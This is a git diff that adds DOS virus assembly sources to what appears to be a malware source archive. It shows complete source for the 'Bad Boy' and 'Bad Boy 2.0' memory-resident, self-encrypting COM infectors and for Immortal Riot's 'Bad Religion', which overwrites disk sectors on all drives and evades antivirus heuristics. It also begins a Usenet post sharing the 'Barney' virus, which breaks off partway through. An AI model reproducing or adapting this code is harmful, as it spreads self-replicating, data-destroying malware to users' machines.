ah,9 ; Display error tail + mov dx,offset ERR_TAIL + call CLOSE_ALL + int 21h + int 20h ; Exit to PC-DOS + + +CLOSE_ALL proc + cmp SOURCE_HANDLE,0 ; Check for valid SOURCE_HANDLE + je CLOSE_TARGET ; None, then go close target + mov ah,3eh ; Request close file + mov bx,SOURCE_HANDLE ; for source handle + int 21h ; Call PC-DOS + mov SOURCE_HANDLE,0 ; Refresh handle +CLOSE_TARGET: + cmp TARGET_HANDLE,0 ; Check for valid TARGET_HANDLE + je CLOSE_RETURN ; None, then return + mov bx,TARGET_HANDLE ; Request close file + mov ah,3eh ; for target handle + int 21h ; Call PC-DOS + mov TARGET_HANDLE,0 ; Refresh handle +CLOSE_RETURN: + ret +CLOSE_ALL endp +FILE_BUFFER label word +BAC ends + end BEGIN + \ No newline at end of file diff --git a/b/BADATTIT.ASM b/b/BADATTIT.ASM new file mode 100755 index 0000000..43d51eb Binary files /dev/null and b/b/BADATTIT.ASM differ diff --git a/b/BADBOY.ASM b/b/BADBOY.ASM new file mode 100755 index 0000000..c27ac23 --- /dev/null +++ b/b/BADBOY.ASM @@ -0,0 +1,509 @@ + +code segment + assume cs:code,ds:code + .radix 16 + org 100 +start: + push word ptr cs:[table+2] + push cs + pop ds + jmp word ptr cs:[table] ;go to module 1 + +curofs dw ? +files db 0 ;number of infected files from this copy +fsize dw 2 ;size of infected file +ftime dw ? +fdate dw ? +stdint21 dd ? +oldint13 dd ? +oldint21 dd ? +oldint24 dd ? + +;------------- TABLE WITH MODULE PARAMETERS -------------------- +table: + dw offset false_mod_1 ;00 + dw offset mod_2 ;02 + dw offset mod_3 ;04 + dw offset mod_4 ;06 ;offset modules + dw offset mod_5 ;08 + dw offset mod_6 ;0a + dw offset mod_7 ;0c + dw offset mod_8 ;0e + + dw offset mod_2 - offset mod_1;10 + dw offset mod_3 - offset mod_2;12 + dw offset mod_4 - offset mod_3;14 + dw offset mod_5 - offset mod_4;16 + dw offset mod_6 - offset mod_5;18 ;size modules + dw offset mod_7 - offset mod_6;1a + dw offset mod_8 - offset mod_7;1c + dw offset myend - offset mod_8;1e + + +;------------- MODULE - 1 - CODER/DECODER ---------------------- +mod_1: + mov bx,offset table+2 ;first module to working (module 2) + mov cx,6 ;number of modules to working +mod_1_lp1: + cmp bx,offset table+0a + jne mod_1_cont + add bx,2 +mod_1_cont: + push bx + push cx + mov ax,[bx] ;ax - offset module + mov cx,[bx+10] ;cx - size of module + mov bx,ax +mod_1_lp2: + xor byte ptr [bx],al + inc bx + loop mod_1_lp2 + pop cx + pop bx + add bx,2 + loop mod_1_lp1 + ret + +;------------- MODULE - 2 - MUTATION TO MEMORY ----------------- +mod_2: + ;instalation check + + mov es,cs:[2] ;memory size + mov di,100 + mov si,100 + mov cx,0bh + repe cmpsb + jne mod_2_install ;jump if not install + jmp word ptr cs:[table+06] ;if install, jump to module 4 + +mod_2_install: + ;instalation + + mov ax,cs + dec ax + mov ds,ax + + cmp byte ptr ds:[0],'Z' + je mod_2_cont + + jmp word ptr cs:[table+6] ;if no last MCB - go to mod4 + +mod_2_cont: + sub word ptr ds:[3],0c0 + mov ax,es + sub ax,0c0 + mov es,ax + mov word ptr ds:[12],ax ;decrement memory size with 2K + push cs + pop ds + +mod_2_mut: + mov byte ptr cs:files,0 + + mov di,100 + mov cx,offset mod_1-100 + mov si,100 + rep movsb ;write table to new memory + + mov bx,word ptr cs:[table] + add bx,offset mod_1_lp2-offset mod_1+1 + xor byte ptr [bx],18 ;change code method + + mov cx,8 + mov word ptr curofs,offset mod_1 +mod_2_lp1: + push cx + call mod_2_rnd ;generate random module addres + push bx ;addres in table returned from mod_2_rnd + mov ax,[bx] ;offset module + push ax + add bx,10 + mov cx,[bx] ;length of module + pop si + pop bx + xchg di,curofs + mov word ptr es:[bx],di ;change module offset in table + rep movsb ;copy module to new memory + xchg di,curofs ;change current offset in new memory + mov ax,8000 + or word ptr [bx],ax ;mark module - used + pop cx + loop mod_2_lp1 + mov cl,8 + not ax + mov bx,offset table +mod_2_lp2: + and word ptr [bx],ax ;unmark all modules + add bx,2 + loop mod_2_lp2 + + jmp word ptr cs:[table+4] ;go to module 3 + +mod_2_rnd: + push cx + push es + xor cx,cx + mov es,cx +mod_2_lp3: + mov bx,es:[46c] + db 81,0e3,07,00 ;and bx,7 + shl bx,1 + add bx,offset table + test [bx],8000 + jnz mod_2_lp3 + pop es + pop cx + ret + +;------------- MODULE - 3 - SET INTERRUPT VECTORS --------------- +mod_3: + xor ax,ax + mov ds,ax + + mov ax,ds:[4*21] + mov word ptr es:[oldint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[oldint21+2],ax + + mov ah,30 + int 21 + cmp ax,1e03 + jne mod_3_getvec + + mov word ptr es:[stdint21],1460 + mov ax,1203 + push ds + int 2f + mov word ptr es:[stdint21+2],ds + pop ds + jmp mod_3_setvec + +mod_3_getvec: + mov ax,ds:[4*21] + mov word ptr es:[stdint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[stdint21+2],ax + +mod_3_setvec: + cli + mov ax,word ptr es:[table+0c] + mov ds:[4*21],ax + mov ax,es + mov ds:[4*21+2],ax + sti + + mov cx,es + mov ah,13 ; + int 2f ; + push es ; + mov es,cx ; + mov word ptr es:[oldint13],dx ; get standart int13 addres + mov word ptr es:[oldint13+2],ds ; + pop es ; + int 2f ; + + jmp word ptr cs:[table+06] ;go to module 4 + +;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ---- +mod_4: + push cs + push cs + pop ds + pop es + mov si,word ptr cs:[table+06] + add si,offset mod_4_cont - offset mod_4 + mov di,cs:fsize + add di,offset myend+1 + push di + mov cx,offset mod_5 - offset mod_4_cont + cld + rep movsb + ret +mod_4_cont: + mov si,cs:fsize + add si,100 + + cmp si,offset myend+1 + jnc mod_4_cnt + mov si,offset myend+1 +mod_4_cnt: + mov di,100 + mov cx,offset myend-100 + rep movsb + mov ax,100 ; + push ax ; jmp 100 + ret ; + +;------------- MODULE - 5 - SPECIAL PROGRAM --------------------- +mod_5: + mov ah,9 + mov dx,word ptr [table+8] + add dx,offset msg-offset mod_5 + push cs + pop ds + int 21 + cli + hlt + +msg db 0dh,0a,'The bad boy halt your system ...',7,7,'$' + +;------------- MODULE - 6 - INT 24 HEADER ----------------------- +mod_6: + mov al,3 + iret + db 'The Bad Boy virus, Copyright (C) 1991.',0 + +;------------- MODULE - 7 - INT 21 HEADER ----------------------- +mod_7: + push bx + push si + push di + push es + push ax + + cmp ax,4b00 + je mod_7_begin + jmp mod_7_exit +mod_7_begin: + push ds + push cs ; + pop es ; + xor ax,ax ; + mov ds,ax ; + mov si,4*24 ; + mov di,offset oldint24 ; + movsw ; change int24 vector + movsw ; + mov ax,word ptr cs:[table+0a] ; + cli ; + mov ds:[4*24],ax ; + mov ax,cs ; + mov ds:[4*24+2],ax ; + sti + pop ds + + mov ax,3d00 ; + pushf ; + call cs:oldint21 ; + jc mod_7_ex ; open,infect,close file + mov bx,ax ; +mod_7_infect: ; + call word ptr cs:[table+0e] ; + pushf + mov ah,3e ; + pushf ; + call cs:oldint21 ; + popf + jc mod_7_ex + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; exchange int13 vectors + mov ax,word ptr cs:[oldint13+2] ; + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; +mod_7_ex: + push ds ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:oldint24 ; + mov ds:[4*24],ax ; + mov ax,word ptr cs:oldint24+2 ; restore int24 vector + mov ds:[4*24+2],ax ; + pop ds ; + +mod_7_exit: + pop ax + pop es + pop di + pop si + pop bx + + jmp cs:oldint21 + +;------------- MODULE - 8 - INFECTING (bx - file handle) -------- +mod_8: + push cx + push dx + push ds + push es + push di + push bp + + push bx + mov ax,1220 + int 2f + mov bl,es:[di] + xor bh,bh + mov ax,1216 + int 2f + pop bx + + mov ax,word ptr es:[di+11] + cmp ax,0f000 + jc mod_8_c + jmp mod_8_exit + +mod_8_c: + mov word ptr es:[di+2],2 ;open mode - R/W + + mov ax,es:[di+11] + mov cs:fsize,ax ; save file size + + mov ax,word ptr es:[di+0dh] ; + mov word ptr cs:[ftime],ax ; save file date/time + mov ax,word ptr es:[di+0f] ; + mov word ptr cs:[fdate],ax ; + + push cs ; + pop ds ; + mov dx,offset myend+1 ; + mov cx,offset myend-100 ; read first bytes + mov ah,3f ; + pushf + call cs:oldint21 + jnc mod_8_cnt + jmp mod_8_exit + +mod_8_cnt: + mov bp,ax ; ax - bytes read + mov si,dx + mov ax,'MZ' + cmp ax,word ptr ds:[si] + jne mod_8_nxtchk + jmp mod_8_exit +mod_8_nxtchk: + xchg ah,al + cmp ax,ds:[si] + jne mod_8_cnt2 + jmp mod_8_exit + +mod_8_cnt2: + push es + push di + push cs ; + pop es ; + mov si,100 ; + mov di,dx ; check for infected file + mov cx,0bh ; + repe cmpsb ; + pop di + pop es + jne mod_8_cnt1 ; + jmp mod_8_exit +mod_8_cnt1: + mov word ptr es:[di+15],0 ; fp:=0 + + push es + push di + mov si,word ptr cs:[table+0e] + add si,offset mod_8_cont - offset mod_8 + xor di,di + push cs + pop es + mov cx,offset mod_8_cont_end - offset mod_8_cont + cld + rep movsb + pop di + pop es + + mov si,word ptr cs:[table+0e] + add si,offset mod_8_cont_end - offset mod_8 + push si + xor si,si + push si + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; + mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; + + ret + +mod_8_cont: + push bx + call word ptr cs:[table] ; code virus + pop bx + + mov dx,100 ; + mov ah,40 ; write code in begin + mov cx,offset myend-0ff + pushf ; + call cs:stdint21 ; + + pushf + push bx + call word ptr cs:[table] ; decode virus + pop bx + popf + jnc mod_8_cont1 + pop ax + mov ax,word ptr cs:[table+0e] + add ax,offset mod_8_ext - offset mod_8 + push ax + ret +mod_8_cont1: + mov ax,es:[di+11] ; fp:=end of file + mov word ptr es:[di+15],ax ; + + mov dx,offset myend+1 + mov cx,bp ; bp - files read + mov ah,40 ; + pushf ; + call cs:stdint21 ; write in end of file + + ret + +mod_8_cont_end: + mov ax,5701 ; + mov cx,cs:ftime ; + mov dx,cs:fdate ; restore file date/time + pushf ; + call cs:oldint21 ; + + inc cs:files + cmp cs:files,0a + jne mod_8_ext + call word ptr cs:[table+8] + jmp short mod_8_ext +mod_8_exit: + stc + jmp short mod_8_ex +mod_8_ext: + clc +mod_8_ex: + pop bp + pop di + pop es + pop ds + pop dx + pop cx + ret + +;--------------------------------------------------------------- + +myend db 0 + + int 20 ;code of infected file + +false_mod_1: + mov word ptr cs:[table],offset mod_1 + ret + +code ends + end start + \ No newline at end of file diff --git a/b/BADBOY2.ASM b/b/BADBOY2.ASM new file mode 100755 index 0000000..56223b4 --- /dev/null +++ b/b/BADBOY2.ASM @@ -0,0 +1,510 @@ + +code segment + assume cs:code,ds:code + .radix 16 + org 100 +start: + push word ptr cs:[table+2] + push cs + pop ds + jmp word ptr cs:[table] ;go to module 1 + +curofs dw ? +files db 0 ;number of infected files from this copy +fsize dw 2 ;size of infected file +ftime dw ? +fdate dw ? +stdint21 dd ? +oldint13 dd ? +oldint21 dd ? +oldint24 dd ? + +;------------- TABLE WITH MODULE PARAMETERS -------------------- +table: + dw offset false_mod_1 ;00 + dw offset mod_2 ;02 + dw offset mod_3 ;04 + dw offset mod_4 ;06 ;offset modules + dw offset mod_5 ;08 + dw offset mod_6 ;0a + dw offset mod_7 ;0c + dw offset mod_8 ;0e + + dw offset mod_2 - offset mod_1;10 + dw offset mod_3 - offset mod_2;12 + dw offset mod_4 - offset mod_3;14 + dw offset mod_5 - offset mod_4;16 + dw offset mod_6 - offset mod_5;18 ;size modules + dw offset mod_7 - offset mod_6;1a + dw offset mod_8 - offset mod_7;1c + dw offset myend - offset mod_8;1e + + +;------------- MODULE - 1 - CODER/DECODER ---------------------- +mod_1: + mov bx,offset table+2 ;first module to working (module 2) + mov cx,6 ;number of modules to working +mod_1_lp1: + cmp bx,offset table+0a + jne mod_1_cont + add bx,2 +mod_1_cont: + push bx + push cx + mov ax,[bx] ;ax - offset module + mov cx,[bx+10] ;cx - size of module + mov bx,ax +mod_1_lp2: + xor byte ptr [bx],al + inc bx + loop mod_1_lp2 + pop cx + pop bx + add bx,2 + loop mod_1_lp1 + ret + +;------------- MODULE - 2 - MUTATION TO MEMORY ----------------- +mod_2: + ;instalation check + + mov es,cs:[2] ;memory size + mov di,100 + mov si,100 + mov cx,0bh + repe cmpsb + jne mod_2_install ;jump if not install + jmp word ptr cs:[table+06] ;if install, jump to module 4 + +mod_2_install: + ;instalation + + mov ax,cs + dec ax + mov ds,ax + + cmp byte ptr ds:[0],'Z' + je mod_2_cont + + jmp word ptr cs:[table+6] ;if no last MCB - go to mod4 + +mod_2_cont: + sub word ptr ds:[3],0c0 + mov ax,es + sub ax,0c0 + mov es,ax + mov word ptr ds:[12],ax ;decrement memory size with 2K + push cs + pop ds + +mod_2_mut: + mov byte ptr cs:files,0 + + mov di,100 + mov cx,offset mod_1-100 + mov si,100 + rep movsb ;write table to new memory + + mov bx,word ptr cs:[table] + add bx,offset mod_1_lp2-offset mod_1+1 + xor byte ptr [bx],18 ;change code method + + mov cx,8 + mov word ptr curofs,offset mod_1 +mod_2_lp1: + push cx + call mod_2_rnd ;generate random module addres + push bx ;addres in table returned from mod_2_rnd + mov ax,[bx] ;offset module + push ax + add bx,10 + mov cx,[bx] ;length of module + pop si + pop bx + xchg di,curofs + mov word ptr es:[bx],di ;change module offset in table + rep movsb ;copy module to new memory + xchg di,curofs ;change current offset in new memory + mov ax,8000 + or word ptr [bx],ax ;mark module - used + pop cx + loop mod_2_lp1 + mov cl,8 + not ax + mov bx,offset table +mod_2_lp2: + and word ptr [bx],ax ;unmark all modules + add bx,2 + loop mod_2_lp2 + + jmp word ptr cs:[table+4] ;go to module 3 + +mod_2_rnd: + push cx + push es + xor cx,cx + mov es,cx +mod_2_lp3: + mov bx,es:[46c] + db 81,0e3,07,00 ;and bx,7 + shl bx,1 + add bx,offset table + test [bx],8000 + jnz mod_2_lp3 + pop es + pop cx + ret + +;------------- MODULE - 3 - SET INTERRUPT VECTORS --------------- +mod_3: + xor ax,ax + mov ds,ax + + mov ax,ds:[4*21] + mov word ptr es:[oldint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[oldint21+2],ax + + mov ah,30 + int 21 + cmp ax,1e03 + jne mod_3_getvec + + mov word ptr es:[stdint21],1460 + mov ax,1203 + push ds + int 2f + mov word ptr es:[stdint21+2],ds + pop ds + jmp mod_3_setvec + +mod_3_getvec: + mov ax,ds:[4*21] + mov word ptr es:[stdint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[stdint21+2],ax + +mod_3_setvec: + cli + mov ax,word ptr es:[table+0c] + mov ds:[4*21],ax + mov ax,es + mov ds:[4*21+2],ax + sti + + mov cx,es + mov ah,13 ; + int 2f ; + push es ; + mov es,cx ; + mov word ptr es:[oldint13],dx ; get standart int13 addres + mov word ptr es:[oldint13+2],ds ; + pop es ; + int 2f ; + + jmp word ptr cs:[table+06] ;go to module 4 + +;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ---- +mod_4: + push cs + push cs + pop ds + pop es + mov si,word ptr cs:[table+06] + add si,offset mod_4_cont - offset mod_4 + mov di,cs:fsize + add di,offset myend+1 + push di + mov cx,offset mod_5 - offset mod_4_cont + cld + rep movsb + ret +mod_4_cont: + mov si,cs:fsize + add si,100 + + cmp si,offset myend+1 + jnc mod_4_cnt + mov si,offset myend+1 +mod_4_cnt: + mov di,100 + mov cx,offset myend-100 + rep movsb + mov ax,100 ; + push ax ; jmp 100 + ret ; + +;------------- MODULE - 5 - SPECIAL PROGRAM --------------------- +mod_5: + xor di,di + mov ds,di + cli + mov di,word ptr cs:[oldint21] + mov ds:[4*21],di + mov di,word ptr cs:[oldint21+2] + mov ds:[4*21+2],di + sti + + ret + + db 'Make me better!' +;------------- MODULE - 6 - INT 24 HEADER ----------------------- +mod_6: + mov al,3 + iret + db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0 + +;------------- MODULE - 7 - INT 21 HEADER ----------------------- +mod_7: + push bx + push si + push di + push es + push ax + + cmp ax,4b00 + je mod_7_begin + jmp mod_7_exit +mod_7_begin: + push ds + push cs ; + pop es ; + xor ax,ax ; + mov ds,ax ; + mov si,4*24 ; + mov di,offset oldint24 ; + movsw ; change int24 vector + movsw ; + mov ax,word ptr cs:[table+0a] ; + cli ; + mov ds:[4*24],ax ; + mov ax,cs ; + mov ds:[4*24+2],ax ; + sti + pop ds + + mov ax,3d00 ; + pushf ; + call cs:oldint21 ; + jc mod_7_ex ; open,infect,close file + mov bx,ax ; +mod_7_infect: ; + call word ptr cs:[table+0e] ; + pushf + mov ah,3e ; + pushf ; + call cs:oldint21 ; + popf + jc mod_7_ex + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; exchange int13 vectors + mov ax,word ptr cs:[oldint13+2] ; + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; +mod_7_ex: + push ds ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:oldint24 ; + mov ds:[4*24],ax ; + mov ax,word ptr cs:oldint24+2 ; restore int24 vector + mov ds:[4*24+2],ax ; + pop ds ; + +mod_7_exit: + pop ax + pop es + pop di + pop si + pop bx + + jmp cs:oldint21 + +;------------- MODULE - 8 - INFECTING (bx - file handle) -------- +mod_8: + push cx + push dx + push ds + push es + push di + push bp + + push bx + mov ax,1220 + int 2f + mov bl,es:[di] + xor bh,bh + mov ax,1216 + int 2f + pop bx + + mov ax,word ptr es:[di+11] + cmp ax,0f000 + jc mod_8_c + jmp mod_8_exit + +mod_8_c: + mov word ptr es:[di+2],2 ;open mode - R/W + + mov ax,es:[di+11] + mov cs:fsize,ax ; save file size + + mov ax,word ptr es:[di+0dh] ; + mov word ptr cs:[ftime],ax ; save file date/time + mov ax,word ptr es:[di+0f] ; + mov word ptr cs:[fdate],ax ; + + push cs ; + pop ds ; + mov dx,offset myend+1 ; + mov cx,offset myend-100 ; read first bytes + mov ah,3f ; + pushf + call cs:oldint21 + jnc mod_8_cnt + jmp mod_8_exit + +mod_8_cnt: + mov bp,ax ; ax - bytes read + mov si,dx + mov ax,'MZ' + cmp ax,word ptr ds:[si] + jne mod_8_nxtchk + jmp mod_8_exit +mod_8_nxtchk: + xchg ah,al + cmp ax,ds:[si] + jne mod_8_cnt2 + jmp mod_8_exit + +mod_8_cnt2: + push es + push di + push cs ; + pop es ; + mov si,100 ; + mov di,dx ; check for infected file + mov cx,0bh ; + repe cmpsb ; + pop di + pop es + jne mod_8_cnt1 ; + jmp mod_8_exit +mod_8_cnt1: + mov word ptr es:[di+15],0 ; fp:=0 + + push es + push di + mov si,word ptr cs:[table+0e] + add si,offset mod_8_cont - offset mod_8 + xor di,di + push cs + pop es + mov cx,offset mod_8_cont_end - offset mod_8_cont + cld + rep movsb + pop di + pop es + + mov si,word ptr cs:[table+0e] + add si,offset mod_8_cont_end - offset mod_8 + push si + xor si,si + push si + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; + mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; + + ret + +mod_8_cont: + push bx + call word ptr cs:[table] ; code virus + pop bx + + mov dx,100 ; + mov ah,40 ; write code in begin + mov cx,offset myend-0ff + pushf ; + call cs:stdint21 ; + + pushf + push bx + call word ptr cs:[table] ; decode virus + pop bx + popf + jnc mod_8_cont1 + pop ax + mov ax,word ptr cs:[table+0e] + add ax,offset mod_8_ext - offset mod_8 + push ax + ret +mod_8_cont1: + mov ax,es:[di+11] ; fp:=end of file + mov word ptr es:[di+15],ax ; + + mov dx,offset myend+1 + mov cx,bp ; bp - files read + mov ah,40 ; + pushf ; + call cs:stdint21 ; write in end of file + + ret + +mod_8_cont_end: + mov ax,5701 ; + mov cx,cs:ftime ; + mov dx,cs:fdate ; restore file date/time + pushf ; + call cs:oldint21 ; + + inc cs:files + cmp cs:files,0a + jne mod_8_ext + call word ptr cs:[table+8] + jmp short mod_8_ext +mod_8_exit: + stc + jmp short mod_8_ex +mod_8_ext: + clc +mod_8_ex: + pop bp + pop di + pop es + pop ds + pop dx + pop cx + ret + +;--------------------------------------------------------------- + +myend db 0 + + int 20 ;code of infected file + +false_mod_1: + mov word ptr cs:[table],offset mod_1 + ret + +code ends + end start + \ No newline at end of file diff --git a/b/BAD_RELI.ASM b/b/BAD_RELI.ASM new file mode 100755 index 0000000..be7dee2 --- /dev/null +++ b/b/BAD_RELI.ASM @@ -0,0 +1,218 @@ +; ------------------------------------------------------------------------------ +; +; - Bad Religion - +; Created by Immortal Riot's destructive development team +; (c) 1994 The Unforgiven/Immortal Riot +; +; ------------------------------------------------------------------------------ +; Undetectable/Destructive COM-infector +; ------------------------------------------------------------------------------ +.model tiny +.radix 16 +.code +org 100h + +start: + +storbuf db 00,00,00,00 ; for first generation only! + +v_start: + +mov sp,102h ; get the delta offset so tbscan cant +call get_delta ; flag it as flexible entry point +get_delta: ; +mov bp,word ptr ds:[100h] +mov sp,0fffeh +sub bp,offset get_delta + +go_back: + +mov ax,0305h ; this code was included to avoid detection +xor bx,bx ; from tbscan. The vsafe disabeling code can +int 16h ; be used as well, but f-prot heuristics + ; complains about it. + +call en_de_crypt ; decrypt the virus +jmp short real_start ; and continue... + +encrypt_value dw 0 ; random xor (encryption) value + +write_virus: + +call en_de_crypt ; write encrypted copy of the virus +mov ah,40 ; +mov cx,code_end-v_start ; # bytes +lea dx,[bp+v_start] ; dx:100h +int 21 ; +call en_de_crypt ; decrypt virus again for further processing +ret + +en_de_crypt: + +mov ax,word ptr [bp+encrypt_value] +lea si,[bp+real_start] +mov cx,(enc_end-real_start+1)/2 + +xor_loopie: + +xor word ptr [si],ax ; encrypts two bytes/loop until all +inc si ; code between real_start and enc_end +inc si ; are encrypted +loop xor_loopie +ret + +real_start: +mov ah,2ch ; get time of 1/100 of a second value from +int 21h ; the system clock + +cmp dl,58d ; value == 58d +jne get_drive ; nope! + +mov al,2 + +drive: ; routine to overwrite all sectors +mov cx,1 ; on all drives from drive C-Z: +lea bx,[bp+v_name] ; +cwd +Next_Sector: +int 26h +inc dx +jnc next_sector +inc al +jmp short drive + +get_drive: + +mov ah,19h ; get drive from where we are executed from +int 21h ; check if it's a: or b: +cmp al,2 ; if so, return control to the original +jb quit ; program without infecting other files + +lea si,[bp+org_buf] ; copy the first four bytes +mov di,100 ; of the file, into a buffer +movsw ; called org_buf +movsw ; + +lea dx,[bp+code_end] ; set our own dta to code_end, so +mov ah,1ah ; the paramters when findfiles arent +int 21h ; destroyed + +lea dx,[bp+direct_infect] ; if present, infect +call dirinfect ; \dos\edit.com + +mov ah,4e ; search for com files +lea dx,[bp+com_files] ; +find_next: +int 21 + +jc no_more_files ; no more files find, exit! +call infect ; found a find, infect it! + +mov ah,4f ; search next file +jmp short find_next ; and see if we find one + +no_more_files: ; +mov dx,80 ; set the dta to 80h (default) +mov ah,1ah +int 21h + +quit: ; +mov di,100 ; return control to original program +push di ; +ret + +infect: +lea dx,[bp+code_end+1e] ; 1e = adress to filename in ds:dx in our + ; new dta area! +dirinfect: + +mov ax,3d02 ; open file +int 21 ; in read/write mode + +jnc infect_it ; if the file \dos\edit.com doesnt exist +ret ; return, and search first comfile + +infect_it: +xchg bx,ax ; filehandle in bx + +mov ax,5700 ; get time/date +int 21 + +push dx ; save date +push cx ; save time + +mov ah,3f ; read the first four bytes +mov cx,4 ; of the file to org_buf +lea dx,[bp+org_buf] +int 21 + +cmp byte ptr [bp+org_buf+3],03h ; previous infected (heart) +jz finish_infect ; + +cmp word ptr [bp+org_buf],9090h ; double nop +jz finish_infect ; + +cmp word ptr [bp+org_buf],5a4dh ; ZM (exe file) +jz finish_infect ; + +cmp word ptr [bp+org_buf],4d5ah ; MZ (exe-file) +jz finish_infect ; + +cmp byte ptr [bp+org_buf+1],6Dh ; command.com +jz finish_infect ; + +mov ax, word ptr [bp+code_end+1ah] ; virus size * 2 +cmp ax,762d ; +jb finish_infect + +cmp ax,65156d ; 1024 * 64 - virus size +ja finish_infect ; + +mov ax,4202 ; move file-pointer +xor cx,cx ; to end of file +cwd +int 21 + +sub ax,3 ; substract bytes +mov word ptr [bp+first_four+1],ax ; to our own jump + +get_value: + +mov ah,2ch ; get system clock for +int 21h ; 1/100 of a second +jz get_value ; if zero = get new value +mov word ptr [bp+encrypt_value],dx ; otherwise, use as enc value +call write_virus ; write virus to end of file + +mov ax,4200 ; move file-pointer to +xor cx,cx ; top of file +cwd +int 21 + +mov ah,40 ; write our own jump +mov cx,4 ; instruction to the +lea dx,[bp+first_four] ; beginning +int 21 + +finish_infect: +mov ax,5701 ; set back +pop cx ; time +pop dx ; date +int 21 ; + +mov ah,3e ; close file +int 21 + +ret ; return and continue! + +v_name db "[Bad Religion] (c) 1994 The Unforgiven/Immortal Riot" + +direct_infect db '\DOS\EDIT.COM',0 + +com_files db '*.com',0 +first_four db 0e9,90,90,03 ; buffer to calculate a new entry +org_buf: db 90,90,0CDh,20 ; buffer to save first four bytes in + +enc_end: +code_end: +end start diff --git a/b/BARNEY.ASM b/b/BARNEY.ASM new file mode 100755 index 0000000..d851d60 --- /dev/null +++ b/b/BARNEY.ASM @@ -0,0 +1,323 @@ +From smtp Tue Feb 7 13:16 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500 +Date: Tue, 7 Feb 1995 13:19:38 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 8878 +Content-Type: text +Message-Id: <199502071819.NAA08362@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) Barney virus +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm +From: danishm@iia.org () +Newsgroups: alt.comp.virus +Subject: Barney virus +Date: 5 Feb 1995 22:06:47 GMT +Organization: International Internet Association. +Lines: 291 +Message-ID: <3h3i5n$v4@ankh.iia.org> +NNTP-Posting-Host: iia.org +X-Newsreader: TIN [version 1.2 PL2] + +Here is the Barney virus: + + +; Barney virus +PING equ 0F92Fh +INFECT equ 1 + +code segment + org 100h + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + + mov dx,VIRUS_SIZE / 2 + 1 + db 0BBh ; decryption module +code_offset dw offset virus_code + +decrypt: + db 02Eh,081h,37h ; XOR CS:[BX] +cipher dw 0 + inc bx + inc bx + dec dx + jnz decrypt + + +virus_code: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es + + cli + mov ax,PING ; mild anti-trace code + push ax + pop ax + dec sp + dec sp + pop bx + cmp ax,bx + je no_trace + hlt + +no_trace: + sti + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + + lea dx,[bp + offset new_DTA] + mov ah,1Ah + int 21h + + mov byte ptr [bp + infections],0 + + call traverse + + pop es ds + mov dx,80h + mov ah,1Ah + int 21h + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + + +traverse: + sub sp,64 ; allocate stack space + mov si,sp + inc si + mov ah,47h ; get current directory + xor dl,dl + int 21h + + dec si + mov byte ptr ss:[si],'\' ; fix directory + +next_dir: + call infect_dir + + cmp byte ptr [bp + infections],INFECT + je traverse_done + + lea dx,[bp + outer] ; repeat in next dir up + mov ah,3Bh + int 21h + jnc next_dir + +traverse_done: + add sp,64 ; reset + mov dx,si + mov ah,3Bh + int 21h + ret + +infect_dir: + mov ah,4Eh + lea dx,[bp + find_me] + int 21h + jc infect_done + +next_file: + lea dx,[bp + new_DTA + 1Eh] + call execute + cmp byte ptr [bp + infections],INFECT + je infect_done + mov ah,4Fh + int 21h + jnc next_file + +infect_done: + ret +execute: + push si + + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + lea ax,[bp + int_24] + mov es:[24h * 4],ax + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + int 21h + jc cant_open + xchg bx,ax + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + lea dx,[bp + read_buffer] + int 21h + + cmp word ptr [bp + read_buffer],'ZM' + 